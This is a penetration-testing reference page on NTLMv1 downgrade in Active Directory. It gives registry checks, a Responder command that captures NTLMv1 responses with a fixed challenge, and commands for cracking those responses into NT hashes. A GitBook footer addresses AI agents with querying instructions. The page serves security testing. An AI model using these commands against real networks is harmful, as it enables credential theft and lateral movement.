> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/ntlm/ntlmv1-downgrade.md).

# NTLMv1 Downgrade

* <https://github.com/NotMedic/NetNTLMtoSilverTicket>
* <https://www.praetorian.com/blog/ntlmv1-vs-ntlmv2/>
* <https://www.trustedsec.com/blog/practical-attacks-against-ntlmv1/>
* <https://www.r-tec.net/r-tec-blog-netntlmv1-downgrade-to-compromise.html>

Client sends NTLMv1 response when `LmCompatibilityLevel` exists and is `2` or lower, which can be downgraded to "NTLMv1 w/o SSP" when `NtlmMinClientSec` is `0x20` or lower:

| Property Name                                                                                                                                                          | Property Path                                      |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------- |
| [LmCompatibilityLevel](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level) | `HKLM\SYSTEM\CurrentControlSet\Control\Lsa`        |
| [NtlmMinClientSec](http://systemmanager.ru/win2k_regestry.en/85673.htm)                                                                                                | `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0` |

## Check

Check with PowerShell:

```
PS > (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name LmCompatibilityLevel).LmCompatibilityLevel
2
PS > $decValue = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ -Name NtlmMinClientSec).NtlmMinClientSec
PS > $hexValue = "0x" + [string]::Format("{0:x}", $decValue)
PS > $hexValue
0x20
```

Check with [Seatbelt](https://github.com/GhostPack/Seatbelt/blob/fa0f2d94a049d825bef77e103e33167250ed2ac0/Seatbelt/Commands/Windows/NtlmSettingsCommand.cs#L149) ([example](https://0xdf.gitlab.io/2021/04/10/htb-apt.html#seatbelt)):

```
Cmd > .\Seatbelt.exe NTLMSettings
```

## Abuse

{% content-ref url="/pages/lU0Zt6to9fvDGWK2fjbk" %}
[Authentication Coercion](/pentest/infrastructure/ad/authentication-coercion.md)
{% endcontent-ref %}

Abuse with Responder with a known challenge of `1122334455667788` (see **Authentication Coercion** to trigger callbacks):

```
$ sudo ./Responder.py -I eth0 -v --lm --disable-ess
```

## ntlmv1-multi + crack.sh

* <https://crack.sh/netntlm/>
* <https://crack.sh/get-cracking/>
* <https://crack.sh/cracking-ntlmv1-w-ess-ssp/>
* <https://github.com/evilmog/ntlmv1-multi>

Calculate the token:

```
$ python ntlmv1.py --ntlmv1 '<NTLMv1_RESPONSE_STRING>'
```

Check the final 2 bytes (4 characters) of the NT hash:

```
$ ~/tools/hashcat-utils/src/ct3_to_ntlm.bin <CT3> 1122334455667788
```

## Public Rainbow Tables

* <https://ntlmv1.com/>
* <https://cloud.google.com/blog/topics/threat-intelligence/net-ntlmv1-deprecation-rainbow-tables>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/ad/ntlm/ntlmv1-downgrade.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.